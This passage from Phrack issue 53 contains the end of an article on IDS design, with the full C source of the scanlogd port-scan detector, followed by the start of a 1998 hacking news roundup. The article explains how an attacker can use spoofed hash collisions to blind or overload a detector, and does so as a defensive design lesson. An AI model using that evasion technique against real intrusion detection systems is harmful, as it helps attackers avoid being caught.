vulnerabilities for non-spoofable attack types, too. That's because IP
|
|||
|
addresses are sometimes shared between many people; this is the case for
|
|||
|
ISP shell servers and dynamic dialup pools.
|
|||
|
|
|||
|
There are also a few implementation problems with this approach: firewall
|
|||
|
access lists, routing tables, etc... are all of a limited size. Also, even
|
|||
|
before the limit is reached, there are CPU usage issues. If an IDS is not
|
|||
|
aware of these issues, this can lead to DoS of the entire network (say,
|
|||
|
if the firewall goes down).
|
|||
|
|
|||
|
In my opinion, there're only very few cases in which such an action might
|
|||
|
be justified. Port scans are definitely not among those.
|
|||
|
|
|||
|
Another common action is to connect back to the attacking host to obtain
|
|||
|
extra information. For spoofable attacks, we might end up being used in
|
|||
|
attacking a third-party. We'd better not do anything for such attacks,
|
|||
|
including port scans.
|
|||
|
|
|||
|
However, for non-spoofable attacks, this might be worth implementing in
|
|||
|
some cases, with a lot of precautions. Mainly, we should be careful not
|
|||
|
to consume too many resources, including bandwidth (should limit request
|
|||
|
rate regardless of the attack rate, and limit the data size), CPU time,
|
|||
|
and memory (should have a timeout, and limit the number of requests that
|
|||
|
we do at a time). Obviously, this means that an attacker can still make
|
|||
|
some of the requests fail, but there's nothing we can do here.
|
|||
|
|
|||
|
See ftp://ftp.win.tue.nl/pub/security/murphy.ps.gz for an example of the
|
|||
|
issues involved. This paper by Wietse Venema details similar vulnerabilities
|
|||
|
in older versions of his famous TCP wrapper package.
|
|||
|
|
|||
|
For these reasons, scanlogd doesn't do anything but log port scans. You
|
|||
|
should probably take action yourself. What exactly you do is a matter
|
|||
|
of taste; I personally only check my larger logs (that I'm not checking
|
|||
|
normally) for activity near the port scan time.
|
|||
|
|
|||
|
|
|||
|
----[ Data Structures and Algorithm Choice
|
|||
|
|
|||
|
When choosing a sorting or data lookup algorithm to be used for a normal
|
|||
|
application, people are usually optimizing the typical case. However, for
|
|||
|
IDS the worst case scenario should always be considered: an attacker can
|
|||
|
supply our IDS with whatever data she likes. If the IDS is fail-open, she
|
|||
|
would then be able to bypass it, and if it's fail-close, she could cause
|
|||
|
a DoS for the entire protected system.
|
|||
|
|
|||
|
Let me illustrate this by an example. In scanlogd, I'm using a hash table
|
|||
|
to lookup source addresses. This works very well for the typical case as
|
|||
|
long as the hash table is large enough (since the number of addresses we
|
|||
|
keep is limited anyway). The average lookup time is better than that of a
|
|||
|
binary search. However, an attacker can choose her addresses (most likely
|
|||
|
spoofed) to cause hash collisions, effectively replacing the hash table
|
|||
|
lookup with a linear search. Depending on how many entries we keep, this
|
|||
|
might make scanlogd not be able to pick new packets up in time. This will
|
|||
|
also always take more CPU time from other processes in a host-based IDS
|
|||
|
like scanlogd.
|
|||
|
|
|||
|
I've solved this problem by limiting the number of hash collisions, and
|
|||
|
discarding the oldest entry with the same hash value when the limit is
|
|||
|
reached. This is acceptable for port scans (remember, we can't detect all
|
|||
|
scans anyway), but might not be acceptable for detecting other attacks.
|
|||
|
If we were going to support some other attack type also, we would have to
|
|||
|
switch to a different algorithm instead, like a binary search.
|
|||
|
|
|||
|
If we're using a memory manager (such as malloc(3) and free(3) from our
|
|||
|
libc), an attacker might be able to exploit its weaknesses in a similar
|
|||
|
way. This might include CPU usage issues and memory leaks because of not
|
|||
|
being able to do garbage collection efficiently enough. A reliable IDS
|
|||
|
should have its very own memory manager (the one in libc can differ from
|
|||
|
system to system), and be extremely careful with its memory allocations.
|
|||
|
For a tool as simple as scanlogd is, I simply decided not to allocate any
|
|||
|
memory dynamically at all.
|
|||
|
|
|||
|
It is probably worth mentioning that similar issues also apply to things
|
|||
|
like operating system kernels. For example, hash tables are widely used
|
|||
|
there for looking up active connections, listening ports, etc. There're
|
|||
|
usually other limits which make these not really dangerous though, but
|
|||
|
more research might be needed.
|
|||
|
|
|||
|
|
|||
|
----[ IDS and Other Processes
|
|||
|
|
|||
|
For network-based IDS that are installed on a general-purpose operating
|
|||
|
system, and for all host-based IDS, there's some interaction of the IDS
|
|||
|
with the rest of the system, including other processes and the kernel.
|
|||
|
|
|||
|
Some DoS vulnerabilities in the operating system might allow an attacker
|
|||
|
to disable the IDS (of course, only if it is fail-open) without it ever
|
|||
|
noticing. This can be done via vulnerabilities in both the kernel (like
|
|||
|
"teardrop") and in other processes (like having a UDP service enabled in
|
|||
|
inetd without a connection count limit and any resource limits).
|
|||
|
|
|||
|
Similarly, a poorly coded host-based IDS can be used for DoS attacks on
|
|||
|
other processes of the "protected" system.
|
|||
|
|
|||
|
|
|||
|
----[ Example Code
|
|||
|
|
|||
|
Finally, here you get scanlogd for Linux. It may compile on other systems
|
|||
|
too, but will likely not work because of the lack of raw TCP sockets. For
|
|||
|
future versions see http://www.false.com/security/scanlogd/.
|
|||
|
|
|||
|
NOTE THAT SOURCE ADDRESSES REPORTED CAN BE SPOOFED, DON'T TAKE ANY ACTION
|
|||
|
AGAINST THE ATTACKER UNLESS OTHER EVIDENCE IS AVAILABLE.
|
|||
|
|
|||
|
<++> Scanlogd/scanlogd.c
|
|||
|
/*
|
|||
|
* Linux scanlogd v1.0 by Solar Designer. You're allowed to do whatever you
|
|||
|
* like with this software (including re-distribution in any form, with or
|
|||
|
* without modification), provided that credit is given where it is due, and
|
|||
|
* any modified versions are marked as such. There's absolutely no warranty.
|
|||
|
*/
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <signal.h>
|
|||
|
#include <string.h>
|
|||
|
#include <ctype.h>
|
|||
|
#include <time.h>
|
|||
|
#include <syslog.h>
|
|||
|
#include <sys/times.h>
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <netinet/in_systm.h>
|
|||
|
#include <netinet/in.h>
|
|||
|
#if (linux)
|
|||
|
#define __BSD_SOURCE
|
|||
|
#endif
|
|||
|
#include <netinet/ip.h>
|
|||
|
#include <netinet/tcp.h>
|
|||
|
#include <arpa/inet.h>
|
|||
|
|
|||
|
/*
|
|||
|
* Port scan detection thresholds: at least COUNT ports need to be scanned
|
|||
|
* from the same source, with no longer than DELAY ticks between ports.
|
|||
|
*/
|
|||
|
#define SCAN_COUNT_THRESHOLD 10
|
|||
|
#define SCAN_DELAY_THRESHOLD (CLK_TCK * 5)
|
|||
|
|
|||
|
/*
|
|||
|
* Log flood detection thresholds: temporarily stop logging if more than
|
|||
|
* COUNT port scans are detected with no longer than DELAY between them.
|
|||
|
*/
|
|||
|
#define LOG_COUNT_THRESHOLD 5
|
|||
|
#define LOG_DELAY_THRESHOLD (CLK_TCK * 20)
|
|||
|
|
|||
|
/*
|
|||
|
* You might want to adjust these for using your tiny append-only log file.
|
|||
|
*/
|
|||
|
#define SYSLOG_IDENT "scanlogd"
|
|||
|
#define SYSLOG_FACILITY LOG_DAEMON
|
|||
|
#define SYSLOG_LEVEL LOG_ALERT
|
|||
|
|
|||
|
/*
|
|||
|
* Keep track of up to LIST_SIZE source addresses, using a hash table of
|
|||
|
* HASH_SIZE entries for faster lookups, but limiting hash collisions to
|
|||
|
* HASH_MAX source addresses per the same hash value.
|
|||
|
*/
|
|||
|
#define LIST_SIZE 0x400
|
|||
|
#define HASH_LOG 11
|
|||
|
#define HASH_SIZE (1 << HASH_LOG)
|
|||
|
#define HASH_MAX 0x10
|
|||
|
|
|||
|
/*
|
|||
|
* Packet header as read from a raw TCP socket. In reality, the TCP header
|
|||
|
* can be at a different offset; this is just to get the total size right.
|
|||
|
*/
|
|||
|
struct header {
|
|||
|
struct ip ip;
|
|||
|
struct tcphdr tcp;
|
|||
|
char space[60 - sizeof(struct ip)];
|
|||
|
};
|
|||
|
|
|||
|
/*
|
|||
|
* Information we keep per each source address.
|
|||
|
*/
|
|||
|
struct host {
|
|||
|
struct host *next; /* Next entry with the same hash */
|
|||
|
clock_t timestamp; /* Last update time */
|
|||
|
time_t start; /* Entry creation time */
|
|||
|
struct in_addr saddr, daddr; /* Source and destination addresses */
|
|||
|
unsigned short sport; /* Source port, if fixed */
|
|||
|
int count; /* Number of ports in the list */
|
|||
|
unsigned short ports[SCAN_COUNT_THRESHOLD - 1]; /* List of ports */
|
|||
|
unsigned char flags_or; /* TCP flags OR mask */
|
|||
|
unsigned char flags_and; /* TCP flags AND mask */
|
|||
|
unsigned char ttl; /* TTL, if fixed */
|
|||
|
};
|
|||
|
|
|||
|
/*
|
|||
|
* State information.
|
|||
|
*/
|
|||
|
struct {
|
|||
|
struct host list[LIST_SIZE]; /* List of source addresses */
|
|||
|
struct host *hash[HASH_SIZE]; /* Hash: pointers into the list */
|
|||
|
int index; /* Oldest entry to be replaced */
|
|||
|
} state;
|
|||
|
|
|||
|
/*
|
|||
|
* Convert an IP address into a hash table index.
|
|||
|
*/
|
|||
|
int hashfunc(struct in_addr addr)
|
|||
|
{
|
|||
|
unsigned int value;
|
|||
|
int hash;
|
|||
|
|
|||
|
value = addr.s_addr;
|
|||
|
hash = 0;
|
|||
|
do {
|
|||
|
hash ^= value;
|
|||
|
} while ((value >>= HASH_LOG));
|
|||
|
|
|||
|
return hash & (HASH_SIZE - 1);
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
* Log this port scan.
|
|||
|
*/
|
|||
|
void do_log(struct host *info)
|
|||
|
{
|
|||
|
char s_saddr[32];
|
|||
|
char s_daddr[32 + 8 * SCAN_COUNT_THRESHOLD];
|
|||
|
char s_flags[8];
|
|||
|
char s_ttl[16];
|
|||
|
char s_time[32];
|
|||
|
int index, size;
|
|||
|
unsigned char mask;
|
|||
|
|
|||
|
/* Source address and port number, if fixed */
|
|||
|
snprintf(s_saddr, sizeof(s_saddr),
|
|||
|
info->sport ? "%s:%u" : "%s",
|
|||
|
inet_ntoa(info->saddr),
|
|||
|
(unsigned int)ntohs(info->sport));
|
|||
|
|
|||
|
/* Destination address, if fixed */
|
|||
|
size = snprintf(s_daddr, sizeof(s_daddr),
|
|||
|
info->daddr.s_addr ? "%s ports " : "ports ",
|
|||
|
inet_ntoa(info->daddr));
|
|||
|
|
|||
|
/* Scanned port numbers */
|
|||
|
for (index = 0; index < info->count; index++)
|
|||
|
size += snprintf(s_daddr + size, sizeof(s_daddr) - size,
|
|||
|
"%u, ", (unsigned int)ntohs(info->ports[index]));
|
|||
|
|
|||
|
/* TCP flags: lowercase letters for "always clear", uppercase for "always
|
|||
|
* set", and question marks for "sometimes set". */
|
|||
|
for (index = 0; index < 6; index++) {
|
|||
|
mask = 1 << index;
|
|||
|
if ((info->flags_or & mask) == (info->flags_and & mask)) {
|
|||
|
s_flags[index] = "fsrpau"[index];
|
|||
|
if (info->flags_or & mask)
|
|||
|
s_flags[index] = toupper(s_flags[index]);
|
|||
|
} else
|
|||
|
s_flags[index] = '?';
|
|||
|
}
|
|||
|
s_flags[index] = 0;
|
|||
|
|
|||
|
/* TTL, if fixed */
|
|||
|
snprintf(s_ttl, sizeof(s_ttl), info->ttl ? ", TTL %u" : "",
|
|||
|
(unsigned int)info->ttl);
|
|||
|
|
|||
|
/* Scan start time */
|
|||
|
strftime(s_time, sizeof(s_time), "%X", localtime(&info->start));
|
|||
|
|
|||
|
/* Log it all */
|
|||
|
syslog(SYSLOG_LEVEL,
|
|||
|
"From %s to %s..., flags %s%s, started at %s",
|
|||
|
s_saddr, s_daddr, s_flags, s_ttl, s_time);
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
* Log this port scan unless we're being flooded.
|
|||
|
*/
|
|||
|
void safe_log(struct host *info)
|
|||
|
{
|
|||
|
static clock_t last = 0;
|
|||
|
static int count = 0;
|
|||
|
clock_t now;
|
|||
|
|
|||
|
now = info->timestamp;
|
|||
|
if (now - last > LOG_DELAY_THRESHOLD || now < last) count = 0;
|
|||
|
if (++count <= LOG_COUNT_THRESHOLD + 1) last = now;
|
|||
|
|
|||
|
if (count <= LOG_COUNT_THRESHOLD) {
|
|||
|
do_log(info);
|
|||
|
} else if (count == LOG_COUNT_THRESHOLD + 1) {
|
|||
|
syslog(SYSLOG_LEVEL, "More possible port scans follow.\n");
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
* Process a TCP packet.
|
|||
|
*/
|
|||
|
void process_packet(struct header *packet, int size)
|
|||
|
{
|
|||
|
struct ip *ip;
|
|||
|
struct tcphdr *tcp;
|
|||
|
struct in_addr addr;
|
|||
|
unsigned short port;
|
|||
|
unsigned char flags;
|
|||
|
struct tms buf;
|
|||
|
clock_t now;
|
|||
|
struct host *current, *last, **head;
|
|||
|
int hash, index, count;
|
|||
|
|
|||
|
/* Get the IP and TCP headers */
|
|||
|
ip = &packet->ip;
|
|||
|
tcp = (struct tcphdr *)((char *)packet + ((int)ip->ip_hl << 2));
|
|||
|
|
|||
|
/* Sanity check */
|
|||
|
if ((char *)tcp + sizeof(struct tcphdr) > (char *)packet + size)
|
|||
|
return;
|
|||
|
|
|||
|
/* Get the source address, destination port, and TCP flags */
|
|||
|
addr = ip->ip_src;
|
|||
|
port = tcp->th_dport;
|
|||
|
flags = tcp->th_flags;
|
|||
|
|
|||
|
/* We're using IP address 0.0.0.0 for a special purpose here, so don't let
|
|||
|
* them spoof us. */
|
|||
|
if (!addr.s_addr) return;
|
|||
|
|
|||
|
/* Use times(2) here not to depend on someone setting the time while we're
|
|||
|
* running; we need to be careful with possible return value overflows. */
|
|||
|
now = times(&buf);
|
|||
|
|
|||
|
/* Do we know this source address already? */
|
|||
|
count = 0;
|
|||
|
last = NULL;
|
|||
|
if ((current = *(head = &state.hash[hash = hashfunc(addr)])))
|
|||
|
do {
|
|||
|
if (current->saddr.s_addr == addr.s_addr) break;
|
|||
|
count++;
|
|||
|
if (current->next) last = current;
|
|||
|
} while ((current = current->next));
|
|||
|
|
|||
|
/* We know this address, and the entry isn't too old. Update it. */
|
|||
|
if (current)
|
|||
|
if (now - current->timestamp <= SCAN_DELAY_THRESHOLD &&
|
|||
|
now >= current->timestamp) {
|
|||
|
/* Just update the TCP flags if we've seen this port already */
|
|||
|
for (index = 0; index < current->count; index++)
|
|||
|
if (current->ports[index] == port) {
|
|||
|
current->flags_or |= flags;
|
|||
|
current->flags_and &= flags;
|
|||
|
return;
|
|||
|
}
|
|||
|
|
|||
|
/* ACK to a new port? This could be an outgoing connection. */
|
|||
|
if (flags & TH_ACK) return;
|
|||
|
|
|||
|
/* Packet to a new port, and not ACK: update the timestamp */
|
|||
|
current->timestamp = now;
|
|||
|
|
|||
|
/* Logged this scan already? Then leave. */
|
|||
|
if (current->count == SCAN_COUNT_THRESHOLD) return;
|
|||
|
|
|||
|
/* Update the TCP flags */
|
|||
|
current->flags_or |= flags;
|
|||
|
current->flags_and &= flags;
|
|||
|
|
|||
|
/* Zero out the destination address, source port and TTL if not fixed. */
|
|||
|
if (current->daddr.s_addr != ip->ip_dst.s_addr)
|
|||
|
current->daddr.s_addr = 0;
|
|||
|
if (current->sport != tcp->th_sport)
|
|||
|
current->sport = 0;
|
|||
|
if (current->ttl != ip->ip_ttl)
|
|||
|
current->ttl = 0;
|
|||
|
|
|||
|
/* Got enough destination ports to decide that this is a scan? Then log it. */
|
|||
|
if (current->count == SCAN_COUNT_THRESHOLD - 1) {
|
|||
|
safe_log(current);
|
|||
|
current->count++;
|
|||
|
return;
|
|||
|
}
|
|||
|
|
|||
|
/* Remember the new port */
|
|||
|
current->ports[current->count++] = port;
|
|||
|
|
|||
|
return;
|
|||
|
}
|
|||
|
|
|||
|
/* We know this address, but the entry is outdated. Mark it unused, and
|
|||
|
* remove from the hash table. We'll allocate a new entry instead since
|
|||
|
* this one might get re-used too soon. */
|
|||
|
if (current) {
|
|||
|
current->saddr.s_addr = 0;
|
|||
|
|
|||
|
if (last)
|
|||
|
last->next = last->next->next;
|
|||
|
else if (*head)
|
|||
|
*head = (*head)->next;
|
|||
|
last = NULL;
|
|||
|
}
|
|||
|
|
|||
|
/* We don't need an ACK from a new source address */
|
|||
|
if (flags & TH_ACK) return;
|
|||
|
|
|||
|
/* Got too many source addresses with the same hash value? Then remove the
|
|||
|
* oldest one from the hash table, so that they can't take too much of our
|
|||
|
* CPU time even with carefully chosen spoofed IP addresses. */
|
|||
|
if (count >= HASH_MAX && last) last->next = NULL;
|
|||
|
|
|||
|
/* We're going to re-use the oldest list entry, so remove it from the hash
|
|||
|
* table first (if it is really already in use, and isn't removed from the
|
|||
|
* hash table already because of the HASH_MAX check above). */
|
|||
|
|
|||
|
/* First, find it */
|
|||
|
if (state.list[state.index].saddr.s_addr)
|
|||
|
head = &state.hash[hashfunc(state.list[state.index].saddr)];
|
|||
|
else
|
|||
|
head = &last;
|
|||
|
last = NULL;
|
|||
|
if ((current = *head))
|
|||
|
do {
|
|||
|
if (current == &state.list[state.index]) break;
|
|||
|
last = current;
|
|||
|
} while ((current = current->next));
|
|||
|
|
|||
|
/* Then, remove it */
|
|||
|
if (current) {
|
|||
|
if (last)
|
|||
|
last->next = last->next->next;
|
|||
|
else if (*head)
|
|||
|
*head = (*head)->next;
|
|||
|
}
|
|||
|
|
|||
|
/* Get our list entry */
|
|||
|
current = &state.list[state.index++];
|
|||
|
if (state.index >= LIST_SIZE) state.index = 0;
|
|||
|
|
|||
|
/* Link it into the hash table */
|
|||
|
head = &state.hash[hash];
|
|||
|
current->next = *head;
|
|||
|
*head = current;
|
|||
|
|
|||
|
/* And fill in the fields */
|
|||
|
current->timestamp = now;
|
|||
|
current->start = time(NULL);
|
|||
|
current->saddr = addr;
|
|||
|
current->daddr = ip->ip_dst;
|
|||
|
current->sport = tcp->th_sport;
|
|||
|
current->count = 1;
|
|||
|
current->ports[0] = port;
|
|||
|
current->flags_or = current->flags_and = flags;
|
|||
|
current->ttl = ip->ip_ttl;
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
* Hmm, what could this be?
|
|||
|
*/
|
|||
|
int main()
|
|||
|
{
|
|||
|
int raw, size;
|
|||
|
struct header packet;
|
|||
|
|
|||
|
/* Get a raw socket. We could drop root right after that. */
|
|||
|
if ((raw = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
|
|||
|
perror("socket");
|
|||
|
return 1;
|
|||
|
}
|
|||
|
|
|||
|
/* Become a daemon */
|
|||
|
switch (fork()) {
|
|||
|
case -1:
|
|||
|
perror("fork");
|
|||
|
return 1;
|
|||
|
|
|||
|
case 0:
|
|||
|
break;
|
|||
|
|
|||
|
default:
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
signal(SIGHUP, SIG_IGN);
|
|||
|
|
|||
|
/* Initialize the state. All source IP addresses are set to 0.0.0.0, which
|
|||
|
* means the list entries aren't in use yet. */
|
|||
|
memset(&state, 0, sizeof(state));
|
|||
|
|
|||
|
/* Huh? */
|
|||
|
openlog(SYSLOG_IDENT, 0, SYSLOG_FACILITY);
|
|||
|
|
|||
|
/* Let's start */
|
|||
|
while (1)
|
|||
|
if ((size = read(raw, &packet, sizeof(packet))) >= sizeof(packet.ip))
|
|||
|
process_packet(&packet, size);
|
|||
|
}
|
|||
|
<-->
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 14 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ P H R A C K W O R L D N E W S
|
|||
|
|
|||
|
|
|||
|
--------[ Issue 53
|
|||
|
|
|||
|
Hi. A few changes have been made to Phrack World News (PWN). Because of
|
|||
|
the increase of news on the net, security, hackers and other PWN topics,
|
|||
|
it is getting more difficult to keep Phrack readers informed of everything.
|
|||
|
To combat this problem, PWN will include more articles, but only relevant
|
|||
|
portions (or the parts I want to make smart ass remarks about). If you would
|
|||
|
like to read the full article, look through the ISN (InfoSec News) archives
|
|||
|
located at:
|
|||
|
|
|||
|
ftp.sekurity.org /pub/text/isn
|
|||
|
ftp.repsec.com /pub/text/digests/isn
|
|||
|
|
|||
|
The following articles have been accumulated from a wide variety of places.
|
|||
|
When known, original source/author/date has been included. If the information
|
|||
|
is absent, then it wasn't sent to us. If you wish to receive more news, the
|
|||
|
ISN mail list caters to this. For more information, mail
|
|||
|
majordomo@sekurity.org with "info isn". To subscribe, mail
|
|||
|
majordomo@sekurity.org with "subscribe isn" in the body of the mail.
|
|||
|
|
|||
|
As usual, I am putting some of my own comments in brackets to help readers
|
|||
|
realize a few things left out of the articles. Comments are my own, and
|
|||
|
do not necessarily represent the views of Phrack, journalists, government
|
|||
|
spooks, my cat, or anyone else. Bye.
|
|||
|
|
|||
|
- disorder
|
|||
|
|
|||
|
|
|||
|
0x1: Identifying Net Criminals Difficult
|
|||
|
0x2: "The Eight" meet to combat high-tech crime
|
|||
|
0x3: Fired Forbes Technician Charged With Sabotage
|
|||
|
0x4: Internet Industry Asked to Police Itself
|
|||
|
0x5: Internet may be Hackers Best Friend
|
|||
|
0x6: Hacker Cripples Airport Tower
|
|||
|
0x7: Profits Embolden Hackers
|
|||
|
0x8: Cyberattacks spur new warning system
|
|||
|
0x9: <pure lameness>
|
|||
|
0xa: IBM's Ethical Hackers Broke In!
|
|||
|
0xb: Two accused of conspiring to hack into CWRU system
|
|||
|
0xc: FBI Warns of Big Increase In On-line Crime
|
|||
|
0xd: Computer hacker jailed for 18 months
|
|||
|
0xe: Afternoon Line
|
|||
|
0xf: Hacking Geniuses or Monkeys
|
|||
|
0x10: Low Tech Spooks - Corporate Spies
|
|||
|
0x11: 'White Hat' Hackers Probe Pores in Computer Security Blankets
|
|||
|
0x12: 101 Ways to Hack into Windows NT
|
|||
|
0x13: Suspected NASA Hacker Nabbed
|
|||
|
0x14: CEOs Hear the Unpleasant Truth about Computer Security
|
|||
|
0x15: Codebreakers
|
|||
|
0x16: Hackers Could Disable Military
|
|||
|
0x17: Secret Service Hackers Can't Crack Internet
|
|||
|
0x18: Now Hiring: Hackers (Tattoos Welcome)
|
|||
|
0x19: Hacker Stoppers?
|
|||
|
0x1a: Hackers' Dark Side Gets Even Darker
|
|||
|
0x1b: Japan Fears It's Becoming a Base for Hackers
|
|||
|
0x1c: Kevin Mitnick Hacker Case Drags On and On
|
|||
|
0x1d: Millions Lost to Phone Hackers
|
|||
|
0x1e: Hackers on the Hill
|
|||
|
0x1f: RSA Sues Network Associates
|
|||
|
0x20: Clinton to Outline Cyberthreat Policy
|
|||
|
0x21: Programmer Sentenced for Military Computer Intrusion
|
|||
|
0x22: Editorial - Hacker vs Cracker, Revisited
|
|||
|
0x23: Windows NT Security Under Fire
|
|||
|
0x24: New Decoy Technology Designed to Sting Hackers
|
|||
|
0x25: Reno dedicates high-tech crime fighting center
|
|||
|
0x26: Man poses as astronaut steals NASA secrets
|
|||
|
|
|||
|
0x27: Convention: Defcon 6.0
|
|||
|
0x28: Convention: Network Security Solutions July Event
|
|||
|
0x29: Convention: 8th USENIX Security Symposium
|
|||
|
0x2a: Convention: RAID 98
|
|||
|
0x2b: Convention: Computer Security Area (ASC) / DGSCA 98
|
|||
|
0x2c: Convention: InfoWarCon-9
|
|||
|
|
|||
|
|
|||
|
0x1>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Identifying Net Criminals Difficult
|
|||
|
Source: 7Pillars Partners
|
|||
|
Author: David Plotnikoff (Mercury News Staff Writer)
|
|||
|
Date: 10:12 p.m. PST Sunday, March 8, 1998
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
What began as an innocent chat-room flirtation isn't so innocent anymore.
|
|||
|
The last e-mail message you received began: ``I know where you live. I
|
|||
|
know where you work. I know where your kids go to day care. . . .''
|
|||
|
Potential loss: Your life.
|
|||
|
|
|||
|
There is no way to calculate how many hundreds or thousands of times each
|
|||
|
day the Net brings crime into some unsuspecting person's life. But a
|
|||
|
report released by the Computer Security Institute found that nearly
|
|||
|
two-thirds of the 520 corporations, government offices, financial
|
|||
|
institutions and universities queried had experienced electronic break-ins
|
|||
|
or other security breaches in the past 12 months.
|
|||
|
|
|||
|
Although fewer than half the companies assigned a dollar amount to their
|
|||
|
losses, the estimated total from those that did is staggering: $236
|
|||
|
million for the last two years.
|
|||
|
|
|||
|
[More estimates on losses, no doubt from accurate estimations
|
|||
|
by professionals.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
But those charged with enforcing the law in cyberspace say the vast
|
|||
|
majority of Net-borne crime never reaches the criminal justice system. And
|
|||
|
in the relatively few instances where a crime is reported, most often the
|
|||
|
criminal's true identity is never found.
|
|||
|
|
|||
|
The San Jose Police Department's elite high-tech crimes unit is every
|
|||
|
citizen's first line of defense when trouble comes down the wire in the
|
|||
|
capital city of Silicon Valley. But today, four years after the explosion
|
|||
|
of the Internet as a mass market, even the top technology-crimes police
|
|||
|
unit in the country finds itself with just a handful of Internet crimes to
|
|||
|
investigate.
|
|||
|
|
|||
|
[Wait... they say criminals get away with everything, then call the
|
|||
|
Police an "elite" high-tech crimes unit?]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
The Internet slice of the job -- chasing down hackers, stalkers and
|
|||
|
assorted scammers -- is too small to even keep statistics on. When pressed
|
|||
|
for a guess, Sgt. Don Brister, the unit's supervisor, estimates that
|
|||
|
Internet and online-service crimes make up ``probably no more than 3 or 4
|
|||
|
percent'' of the team's workload.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
While most Net crimes are actually old crimes -- stalking, harassment,
|
|||
|
fraud and theft -- in a new venue, there is at least one criminal act
|
|||
|
entirely native to cyberia: ``denial of service'' attacks.
|
|||
|
|
|||
|
[Route, you're such a criminal.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
``The scary part,'' Lowry says, ``is we know the storm is coming, but we
|
|||
|
don't know exactly what shape it's going to take. The scale is huge. . . .
|
|||
|
You're sitting on this beach, knowing it's going to hit, but you don't
|
|||
|
know what it is or when it's going to hit.''
|
|||
|
|
|||
|
0x2>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: "The Eight" meet to combat high-tech crime
|
|||
|
Date: Jan 1998
|
|||
|
|
|||
|
Recently, U.S. Attorney General Janet Reno hosted a historic meeting of
|
|||
|
Justice and Interior officials from the countries that constitute "the
|
|||
|
Eight" on ways to combat international computer crime. (Formerly dubbed
|
|||
|
the G-7, the group now includes Russia along with the United Kingdom,
|
|||
|
France, Germany, Italy, Canada, Japan, and the U.S.)
|
|||
|
|
|||
|
The meeting was the first of its kind and resulted in an agreement
|
|||
|
endorsing ten principles, such as "Investigation and prosecution of
|
|||
|
international high-tech crimes must be coordinated among all concerned
|
|||
|
states, regardless of where harm has occurred;" and adopting a ten-point
|
|||
|
action plan, for example, "Use our established network of knowledgeable
|
|||
|
personnel to ensure a timely, effective response to transnational
|
|||
|
high-tech cases and designate a point-of-contract who is available on a 24
|
|||
|
hour basis."
|
|||
|
|
|||
|
The full text will be available at http://www.usdoj.gov.
|
|||
|
|
|||
|
0x3>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Fired Forbes Technician Charged With Sabotage
|
|||
|
Source: Dow Jones News Service
|
|||
|
Date: 11/25/97
|
|||
|
|
|||
|
|
|||
|
A temporary staff computer technician has been charged with breaking into
|
|||
|
the computer system of Forbes, Inc., publisher of Forbes magazine, and
|
|||
|
causing a computer crash that cost the company more than $100,000.
|
|||
|
|
|||
|
According to the complaint against George Mario Parente, the sabotage
|
|||
|
left hundreds of Forbes employees unable to perform server-related
|
|||
|
functions for a full day and caused many employees to lose a day's worth
|
|||
|
of data. If convicted, Parente faces up to five years in prison and a
|
|||
|
maximum fine of $250,000.
|
|||
|
|
|||
|
|
|||
|
0x4>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Internet Industry Asked to Police Itself
|
|||
|
|
|||
|
|
|||
|
SEATTLE -- The Internet industry had better police itself or it will face
|
|||
|
renewed threats of government regulation, participants said Wednesday at a
|
|||
|
Seattle conference of technology leaders from throughout North America as
|
|||
|
well as Europe and Japan.
|
|||
|
|
|||
|
[And they've done such a good job so far, with legislation like the CDA
|
|||
|
and WIPO... sure, we can trust the government to do the right thing.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
Balkam warned that Arizona Sen. John McCain plans hearings next month on
|
|||
|
the topic, and that Indiana Sen. Dan Coats plans to introduce a new
|
|||
|
content-regulation bill designed to avoid the problems that caused the
|
|||
|
Supreme Court to reject the first one.
|
|||
|
|
|||
|
[Everyone keep your eyes peeled.]
|
|||
|
|
|||
|
Wednesday's discussion was well-timed; the conference will hear Thursday
|
|||
|
from President Clinton's Internet czar, Ira Magaziner, who is expected to
|
|||
|
deliver a stern admonition that government won't hesitate to step in if
|
|||
|
the industry's own efforts fall short.
|
|||
|
|
|||
|
Sponsored by GTE, Telus Corp. and the Discovery Institute, the program
|
|||
|
also included Rep. Rick White, R-Washington, founder of the Congressional
|
|||
|
Internet Caucus and Rob Glaser, founder of Seattle-based RealNetworks and
|
|||
|
a proponent of the Internet as the ``next mass medium.''
|
|||
|
|
|||
|
While Wednesday's sessions focused on content regulation, Thursday's deal
|
|||
|
more with electronic commerce and such issues as privacy, authentication
|
|||
|
and legal jurisdiction.
|
|||
|
|
|||
|
Effective self-regulation has several keys, said Jim Miller, architect of
|
|||
|
a system known as PICS, the Platform for Internet Content Selection.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x5>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Internet may be Hackers Best Friend
|
|||
|
|
|||
|
The Internet may be the computer hacker's best friend. The international
|
|||
|
computer network has made the sharing of sophisticated break-in tools
|
|||
|
easier, computer security experts say.
|
|||
|
|
|||
|
[But they don't mention the sharing of security information, or the fact
|
|||
|
that the experts can subscribe to the same 'hacker' sharing sources.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
A report released Wednesday by the Computer Security Institute noted that
|
|||
|
while both external and internal computer crime is on the rise, the
|
|||
|
greatest losses result from unauthorized access by insiders.
|
|||
|
